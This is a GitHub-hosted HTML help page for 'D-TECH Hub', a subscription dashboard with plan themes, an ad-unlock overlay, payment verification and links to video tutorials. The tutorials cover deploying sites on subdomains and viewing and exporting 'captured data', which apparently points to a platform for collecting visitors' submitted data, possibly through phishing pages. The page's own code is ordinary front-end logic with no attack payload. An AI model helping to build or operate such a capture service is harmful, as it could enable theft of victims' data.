Repository navigation
Expand file tree
/
Copy pathhelp.html
More file actions
610 lines (533 loc) · 29.2 KB
/
Copy pathhelp.html
File metadata and controls
610 lines (533 loc) · 29.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="monetag" content="11fda623f808704a24728b96c85545b8">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>D-TECH Hub | How to Use</title>
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet">
<style>
:root {
--bg-main: #050505;
--bg-card: #111111;
--text-main: #ffffff;
--text-sec: #888;
--accent: #0070f3;
--accent-hover: #005bb5;
--border: #222;
--success: #17c964;
--danger: #f31260;
--warning: #f5a524;
--radius: 12px;
}
body {
font-family: 'Inter', sans-serif;
background-color: var(--bg-main);
color: var(--text-main);
}
.glass-card {
background: rgba(17, 17, 17, 0.6);
backdrop-filter: blur(12px);
-webkit-backdrop-filter: blur(12px);
border: 1px solid rgba(255, 255, 255, 0.05);
}
/* Basic Plan Theme */
body.plan-basic {
--bg-main: #0d1117;
--bg-card: #161b22;
--accent: #2f81f7;
--accent-hover: #58a6ff;
--border: #30363d;
}
/* Premium Plan Theme (High End) */
body.plan-premium {
--bg-main: #000000;
--bg-card: #0a0a0a;
--text-main: #f0f0f0;
--accent: #9b59b6;
--accent-hover: #8e44ad;
--border: #333;
}
/* Gold Plan Theme (Luxury) */
body.plan-gold {
--bg-main: #000000;
--bg-card: #0a0a0a;
--text-main: #fffdf0;
--accent: #ffd700;
--accent-hover: #ffea00;
--border: #444;
}
/* Gold Animated Gradient Text */
body.plan-gold .logo span, body.plan-gold .gold-text {
background: linear-gradient(to right, #bf953f, #fcf6ba, #b38728, #fbf5b7, #aa771c);
-webkit-background-clip: text;
background-clip: text;
color: transparent;
animation: shine 3s linear infinite;
background-size: 200%;
}
@keyframes shine { to { background-position: 200% center; } }
/* Smooth transitions */
.stat-card {
transition: all 0.3s ease;
}
.stat-card:hover {
transform: translateY(-4px);
box-shadow: 0 10px 25px -5px rgba(0, 0, 0, 0.5);
border-color: var(--accent);
}
/* Desktop Sidebar Layout */
@media (min-width: 1024px) {
.app-layout {
display: flex;
min-height: 100vh;
}
.sidebar {
width: 260px;
flex-shrink: 0;
border-right: 1px solid var(--border);
background: var(--bg-card);
position: fixed;
height: 100vh;
overflow-y: auto;
}
.main-content {
flex-grow: 1;
margin-left: 260px;
padding: 32px;
max-width: calc(100vw - 260px);
}
.mobile-header {
display: none;
}
}
@media (max-width: 1023px) {
.sidebar {
display: none; /* Can be toggled with JS later if needed */
}
.main-content {
padding: 16px;
padding-bottom: 80px;
}
}
/* Smart Data Fields */
.smart-field { background: rgba(255,255,255,0.03); padding: 8px 12px; border-radius: 6px; border: 1px solid var(--border); overflow: hidden; display: flex; flex-direction: column; }
.smart-key { font-size: 0.7rem; color: var(--text-sec); text-transform: uppercase; margin-bottom: 4px; font-weight: 700; letter-spacing: 0.5px; }
.smart-value { font-size: 0.95rem; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; color: var(--text-main); word-break: break-all; font-weight: 500;}
.plan-premium .smart-field { border-color: rgba(155, 89, 182, 0.3); background: rgba(155, 89, 182, 0.05); }
.plan-premium .smart-key { color: #bca0dc; }
.plan-gold .smart-field { border-color: rgba(255, 215, 0, 0.3); background: linear-gradient(135deg, rgba(255,215,0,0.05), rgba(0,0,0,0)); }
.plan-gold .smart-key { color: #ffd700; }
.copy-icon { cursor: pointer; opacity: 0.5; transition: 0.2s; float: right; margin-top: -18px;}
.copy-icon:hover { opacity: 1; color: var(--accent); }
/* Toast Notification */
#toast {
visibility: hidden;
min-width: 250px;
background-color: var(--bg-card);
color: var(--text-main);
text-align: center;
border-radius: 8px;
padding: 16px;
position: fixed;
z-index: 9999;
bottom: 30px;
right: 30px;
opacity: 0;
transition: opacity 0.3s, bottom 0.3s, visibility 0.3s;
border-left: 4px solid var(--accent);
box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.5);
}
#toast.show { visibility: visible; opacity: 1; bottom: 50px; }
#toast.success { border-color: var(--success); }
#toast.error { border-color: var(--danger); }
/* Intro.js custom styling */
.introjs-tooltip {
background-color: var(--bg-card) !important;
color: var(--text-main) !important;
border: 1px solid var(--border) !important;
border-radius: 12px !important;
box-shadow: 0 10px 25px rgba(0,0,0,0.5) !important;
}
.introjs-arrow.top { border-bottom-color: var(--border) !important; }
.introjs-arrow.bottom { border-top-color: var(--border) !important; }
.introjs-button {
background-color: var(--accent) !important;
color: white !important;
border: none !important;
text-shadow: none !important;
border-radius: 6px !important;
font-family: 'Inter', sans-serif !important;
font-weight: 600 !important;
}
.introjs-skipbutton { background-color: transparent !important; color: var(--text-sec) !important; border: 1px solid var(--border) !important; }
.introjs-bullets ul li a { background: #444 !important; }
.introjs-bullets ul li a.active { background: var(--accent) !important; }
/* Custom Scrollbar */
::-webkit-scrollbar { width: 8px; height: 8px; }
::-webkit-scrollbar-track { background: var(--bg-main); }
::-webkit-scrollbar-thumb { background: #333; border-radius: 4px; }
::-webkit-scrollbar-thumb:hover { background: #555; }
.loading-spinner {
border: 3px solid rgba(255,255,255,0.1);
border-top: 3px solid var(--accent);
border-radius: 50%;
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
}
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
</style>
<style>
/* Spinner */
.spinner {
border: 2px solid rgba(255, 255, 255, 0.1);
border-left-color: #ffffff;
border-radius: 50%;
width: 16px;
height: 16px;
animation: spin 1s linear infinite;
display: inline-block;
vertical-align: middle;
margin-right: 8px;
}
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
/* Skeleton */
.skeleton {
background: linear-gradient(90deg, rgba(255,255,255,0.05) 25%, rgba(255,255,255,0.1) 50%, rgba(255,255,255,0.05) 75%);
background-size: 200% 100%;
animation: skeleton-loading 1.5s infinite;
border-radius: 4px;
}
@keyframes skeleton-loading { 0% { background-position: 200% 0; } 100% { background-position: -200% 0; } }
</style>
</head>
<body>
<div id="loader" style="display:none !important;" class="fixed inset-0 bg-[var(--bg-main)] z-[2000] flex flex-col justify-center items-center">
<div class="loading-spinner mb-4"></div>
<div class="text-[var(--accent)] font-semibold tracking-wide">Authenticating...</div>
</div>
<!-- Ad Overlay -->
<div id="ad-overlay" style="display: none;">
<h2 style="color: var(--accent);">Free Plan Access</h2>
<p>Support us by viewing this ad to access your data.<br>Access remains active for <strong>10 minutes</strong>.</p>
<br>
<a href="https://otieu.com/4/10588053" target="_blank" onclick="unlockDashboard()" class="ad-btn">👉 Click Here to Unlock 👈</a>
</div>
<div class="app-layout" id="main-content" style="display:none;">
<!-- Sidebar (Desktop) -->
<aside class="sidebar p-6 flex flex-col">
<div class="logo text-2xl font-extrabold tracking-tight mb-10">D-TECH <span class="text-[var(--accent)]">HUB</span></div>
<nav class="flex-1 space-y-2" id="tour-nav">
<a href="dashboard.html" class="flex items-center gap-3 px-4 py-3 text-gray-400 hover:text-white hover:bg-white/5 rounded-xl font-medium transition-colors">
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 12l2-2m0 0l7-7 7 7M5 10v10a1 1 0 001 1h3m10-11l2 2m-2-2v10a1 1 0 01-1 1h-3m-6 0a1 1 0 001-1v-4a1 1 0 011-1h2a1 1 0 011 1v4a1 1 0 001 1m-6 0h6"></path></svg>
Dashboard
</a>
<a href="deploy.html" class="flex items-center gap-3 px-4 py-3 text-gray-400 hover:text-white hover:bg-white/5 rounded-xl font-medium transition-colors" id="tour-deploy">
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 12a9 9 0 01-9 9m9-9a9 9 0 00-9-9m9 9H3m9 9a9 9 0 01-9-9m9 9c1.657 0 3-4.03 3-9s-1.343-9-3-9m0 18c-1.657 0-3-4.03-3-9s1.343-9 3-9m-9 9a9 9 0 019-9"></path></svg>
Deploy Site
</a>
<a href="profile.html" class="flex items-center gap-3 px-4 py-3 text-gray-400 hover:text-white hover:bg-white/5 rounded-xl font-medium transition-colors">
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"></path></svg>
Profile
</a>
<a href="plans.html" class="flex items-center gap-3 px-4 py-3 text-gray-400 hover:text-white hover:bg-white/5 rounded-xl font-medium transition-colors">
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z"></path></svg>
Plans
</a>
<a href="help.html" class="flex items-center gap-3 px-4 py-3 bg-white/5 text-white rounded-xl font-medium transition-colors border border-[var(--border)]">
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8.228 9c.549-1.165 2.03-2 3.772-2 2.21 0 4 1.343 4 3 0 1.4-1.278 2.575-3.006 2.907-.542.104-.994.54-.994 1.093m0 3h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path></svg>
How to Use
</a>
</nav>
<div class="mt-auto">
<div class="bg-black/30 p-4 rounded-xl border border-[var(--border)] mb-4 text-sm">
<div class="text-gray-400 mb-1 text-xs uppercase font-bold tracking-wider">Current Plan</div>
<div class="flex justify-between items-center">
<span id="sidebar-plan" class="font-bold text-white">LOADING</span>
<a href="plans.html" class="text-[var(--accent)] text-xs font-semibold hover:underline">Upgrade</a>
</div>
</div>
<button onclick="logout()" class="w-full flex items-center justify-center gap-2 px-4 py-3 text-gray-400 hover:text-white hover:bg-white/5 rounded-xl font-medium transition-colors border border-transparent hover:border-gray-800">
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M17 16l4-4m0 0l-4-4m4 4H7m6 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h4a3 3 0 013 3v1"></path></svg>
Logout
</button>
</div>
</aside>
<!-- Main Content -->
<!-- Main Content -->
<main class="main-content">
<!-- Mobile Header -->
<header class="mobile-header flex justify-between items-center py-4 mb-6 border-b border-[var(--border)]">
<div class="logo text-xl font-extrabold tracking-tight">D-TECH <span class="text-[var(--accent)]">HUB</span></div>
<div class="flex items-center gap-3">
<span id="plan-badge-mobile" class="px-3 py-1 bg-[var(--bg-card)] border border-[var(--border)] rounded-full text-xs font-bold uppercase">FREE</span>
<a href="profile.html" class="text-gray-400 hover:text-white">
<svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"></path></svg>
</a>
</div>
</header>
<div class="mb-8">
<h2 class="text-3xl font-extrabold mb-2">How to Use D-TECH</h2>
<p class="text-gray-400">Watch these tutorials to get the most out of your account.</p>
</div>
<div class="grid grid-cols-1 md:grid-cols-2 gap-6">
<!-- Card 1 -->
<div class="glass-card p-6 rounded-2xl flex flex-col justify-between group transition-all hover:border-[var(--accent)]">
<div>
<div class="w-12 h-12 bg-[var(--accent)]/10 text-[var(--accent)] rounded-xl flex items-center justify-center mb-4">
<svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"></path></svg>
</div>
<h3 class="text-xl font-bold mb-2">How to delete URLs</h3>
<p class="text-sm text-gray-400 mb-6">Learn how to easily manage and delete deployed URLs from your account.</p>
</div>
<a href="https://drive.google.com/file/d/1WPoAcx4uQvx_oPLJMje4Qf3Bi6GBXF_1/view?usp=drivesdk" target="_blank" class="inline-flex items-center gap-2 text-sm font-semibold text-[var(--accent)] group-hover:text-[var(--accent-hover)] transition-colors">
Watch Tutorial <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"></path></svg>
</a>
</div>
<!-- Card 2 -->
<div class="glass-card p-6 rounded-2xl flex flex-col justify-between group transition-all hover:border-[var(--accent)]">
<div>
<div class="w-12 h-12 bg-[var(--accent)]/10 text-[var(--accent)] rounded-xl flex items-center justify-center mb-4">
<svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 5v2m0 4v2m0 4v2M5 5a2 2 0 00-2 2v3a2 2 0 110 4v3a2 2 0 002 2h14a2 2 0 002-2v-3a2 2 0 110-4V7a2 2 0 00-2-2H5z"></path></svg>
</div>
<h3 class="text-xl font-bold mb-2">How to get D-Tech vouchers & extend your plan</h3>
<p class="text-sm text-gray-400 mb-6">A step-by-step guide on acquiring vouchers to upgrade or extend your current D-Tech plan.</p>
</div>
<a href="https://drive.google.com/file/d/1UJerp5TGMFxsyxVt8HpBbCWAfPn5gYfz/view?usp=drivesdk" target="_blank" class="inline-flex items-center gap-2 text-sm font-semibold text-[var(--accent)] group-hover:text-[var(--accent-hover)] transition-colors">
Watch Tutorial <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"></path></svg>
</a>
</div>
<!-- Card 3 -->
<div class="glass-card p-6 rounded-2xl flex flex-col justify-between group transition-all hover:border-[var(--accent)]">
<div>
<div class="w-12 h-12 bg-[var(--accent)]/10 text-[var(--accent)] rounded-xl flex items-center justify-center mb-4">
<svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 12a9 9 0 01-9 9m9-9a9 9 0 00-9-9m9 9H3m9 9a9 9 0 01-9-9m9 9c1.657 0 3-4.03 3-9s-1.343-9-3-9m0 18c-1.657 0-3-4.03-3-9s1.343-9 3-9m-9 9a9 9 0 019-9"></path></svg>
</div>
<h3 class="text-xl font-bold mb-2">Deploying, subdomains & fragments</h3>
<p class="text-sm text-gray-400 mb-6">Learn how to deploy a website, get a subdomain, use fragments, and see your captured data.</p>
</div>
<a href="https://drive.google.com/file/d/1CsflKTi_8PoaLkXHKPWcLHYaPF350owd/view?usp=drivesdk" target="_blank" class="inline-flex items-center gap-2 text-sm font-semibold text-[var(--accent)] group-hover:text-[var(--accent-hover)] transition-colors">
Watch Tutorial <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"></path></svg>
</a>
</div>
<!-- Card 4 -->
<div class="glass-card p-6 rounded-2xl flex flex-col justify-between group transition-all hover:border-[var(--accent)]">
<div>
<div class="w-12 h-12 bg-[var(--accent)]/10 text-[var(--accent)] rounded-xl flex items-center justify-center mb-4">
<svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 7v10c0 2.21 3.582 4 8 4s8-1.79 8-4V7M4 7c0 2.21 3.582 4 8 4s8-1.79 8-4M4 7c0-2.21 3.582-4 8-4s8 1.79 8 4m0 5c0 2.21-3.582 4-8 4s-8-1.79-8-4"></path></svg>
</div>
<h3 class="text-xl font-bold mb-2">Organise & export captured data</h3>
<p class="text-sm text-gray-400 mb-6">Discover the best ways to filter, organize, and export your captured data securely.</p>
</div>
<a href="https://drive.google.com/file/d/1yi5kC-oNrFbpphMRYC9R2KrZSjfFVLe_/view?usp=drivesdk" target="_blank" class="inline-flex items-center gap-2 text-sm font-semibold text-[var(--accent)] group-hover:text-[var(--accent-hover)] transition-colors">
Watch Tutorial <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"></path></svg>
</a>
</div>
</div>
</main>
</div>
<div id="toast">Message</div>
<!-- Unauthorized Modal -->
<div id="unauthorized-modal" class="fixed inset-0 z-[10000] hidden flex items-center justify-center bg-black/60 backdrop-blur-sm">
<div class="bg-[#111] border border-red-500/30 rounded-2xl p-6 max-w-sm w-full mx-4 shadow-2xl shadow-red-500/10">
<div class="flex items-center gap-4 mb-4">
<div class="w-12 h-12 rounded-full bg-red-500/10 flex items-center justify-center text-red-500 flex-shrink-0">
<svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"></path></svg>
</div>
<div>
<h3 class="text-xl font-bold text-white">Unauthorized</h3>
<p class="text-sm text-gray-400">Session error.</p>
</div>
</div>
<p class="text-gray-300 text-sm mb-6">
Please clear residual data to fix unauthorized access errors.
</p>
<div class="flex flex-col gap-3">
<button onclick="clearResidualData()" class="w-full px-4 py-3 rounded-xl bg-red-500 hover:bg-red-600 text-white transition-colors text-sm font-bold shadow-lg shadow-red-500/20">
Clear Residual Data & Log Out
</button>
<button onclick="document.getElementById('unauthorized-modal').classList.add('hidden')" class="w-full px-4 py-2 rounded-xl border border-gray-800 text-gray-400 hover:bg-white/5 transition-colors text-xs">
Ignore
</button>
</div>
</div>
</div>
<script>
const WORKER_URL = 'https://calm-bread-1d99.testdx24.workers.dev';
const userCode = localStorage.getItem('user_code');
// Auth Check
if (!userCode) {
window.location.href = 'index.html';
}
document.addEventListener('DOMContentLoaded', async () => {
window.scrollTo(0, 0);
// Apply cached plan immediately
const cachedPlan = localStorage.getItem('cached_plan') || 'free';
document.body.className = `plan-${cachedPlan}`;
const badgeM = document.getElementById('plan-badge-mobile');
const badgeS = document.getElementById('sidebar-plan');
if(badgeM) badgeM.innerText = cachedPlan.toUpperCase();
if(badgeS) badgeS.innerText = cachedPlan.toUpperCase();
document.getElementById('loader').style.display = 'none';
document.getElementById('main-content').style.display = '';
// Check for payment return
const urlParams = new URLSearchParams(window.location.search);
const status = urlParams.get('status');
const token = urlParams.get('token');
const order_id = urlParams.get('order_id');
if (status === 'success' && token && order_id) {
document.getElementById('loader').innerText = 'Verifying Payment...';
document.getElementById('loader').style.display = 'flex';
try {
const verifyRes = await fetch(`${WORKER_URL}/api/pay/verify`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ token, order_id })
});
const verifyData = await verifyRes.json();
if (verifyData.success) {
notify("Payment verified! Your account has been upgraded.", "success");
} else {
notify(verifyData.error || "Payment verification failed.", "error");
}
} catch (e) {
notify("Network error during verification.", "error");
}
// Clean up URL
const newUrl = window.location.protocol + "//" + window.location.host + window.location.pathname;
window.history.pushState({ path: newUrl }, '', newUrl);
}
fetchUserData();
});
async function fetchUserData() {
try {
const token = localStorage.getItem('session_token');
const headers = {};
if(token) headers['Authorization'] = `Bearer ${token}`;
// Just fetch captures to get user details for now (since it's a bundled endpoint)
const res = await fetch(`${WORKER_URL}/api/public/captures?code=${encodeURIComponent(userCode)}&page=1&limit=1`, {
headers: headers
});
const result = await res.json();
if (result.success) {
updateUI(result);
} else {
notify(result.error || 'Failed to load user data', 'error');
}
} catch (e) {
console.error(e);
}
}
function updateUI(data) {
const plan = data.plan || 'free';
localStorage.setItem('cached_plan', plan);
document.body.className = `plan-${plan}`;
const badgeM = document.getElementById('plan-badge-mobile');
const badgeS = document.getElementById('sidebar-plan');
if(badgeM) badgeM.innerText = plan.toUpperCase();
if(badgeS) badgeS.innerText = plan.toUpperCase();
if (data.pendingPlan === 'gold') {
const msg = document.getElementById('pending-msg');
if(msg) msg.style.display = 'block';
}
if (data.pendingPlan === 'premium') {
const msg = document.getElementById('pending-premium-msg');
if(msg) msg.style.display = 'block';
}
const lockedMsg = document.getElementById('locked-msg');
if (!data.success && data.error === "Account Locked") {
if(lockedMsg) lockedMsg.style.display = 'block';
}
}
function logout() {
localStorage.removeItem('user_code');
localStorage.removeItem('session_token');
window.location.href = 'index.html';
}
function notify(msg, type = 'success') {
if (msg && msg.toLowerCase().includes('unauthorized')) {
showUnauthorizedModal();
}
const toast = document.getElementById('toast');
if(!toast) return;
toast.innerText = msg;
toast.className = '';
toast.classList.add('show', type);
setTimeout(() => { toast.classList.remove('show'); }, 3000);
}
function clearResidualData() {
localStorage.clear();
sessionStorage.clear();
window.location.href = 'index.html';
}
function showUnauthorizedModal() {
const modal = document.getElementById('unauthorized-modal');
if (modal) modal.classList.remove('hidden');
}
</script>
<style>
/* Toast Container */
#toast-container {
position: fixed;
top: 20px;
right: 20px;
z-index: 9999;
display: flex;
flex-direction: column;
gap: 10px;
}
/* Toast Element */
.custom-toast {
background: rgba(17, 17, 17, 0.9);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.08);
color: white;
padding: 16px 24px;
border-radius: 8px;
box-shadow: 0 10px 25px rgba(0,0,0,0.5);
font-family: 'Inter', sans-serif;
font-size: 14px;
display: flex;
align-items: center;
gap: 12px;
opacity: 0;
transform: translateX(100%);
transition: opacity 0.3s ease, transform 0.3s ease;
}
.custom-toast.show {
opacity: 1;
transform: translateX(0);
}
.custom-toast.success { border-left: 4px solid #17c964; }
.custom-toast.error { border-left: 4px solid #f31260; }
.custom-toast.warning { border-left: 4px solid #f5a524; }
</style>
<div id="toast-container"></div>
<script>
function showToast(message, type = 'success') {
if (message && message.toLowerCase().includes('unauthorized')) {
showUnauthorizedModal();
}
const container = document.getElementById('toast-container');
const toast = document.createElement('div');
toast.className = `custom-toast ${type}`;
let icon = '✅';
if(type === 'error') icon = '❌';
if(type === 'warning') icon = '⚠️';
toast.innerHTML = `<span>${icon}</span> <span>${message}</span>`;
container.appendChild(toast);
setTimeout(() => {
toast.classList.add('show');
}, 10);
setTimeout(() => {
toast.classList.remove('show');
setTimeout(() => toast.remove(), 300);
}, 3000);
}
</script>
</body>
</html>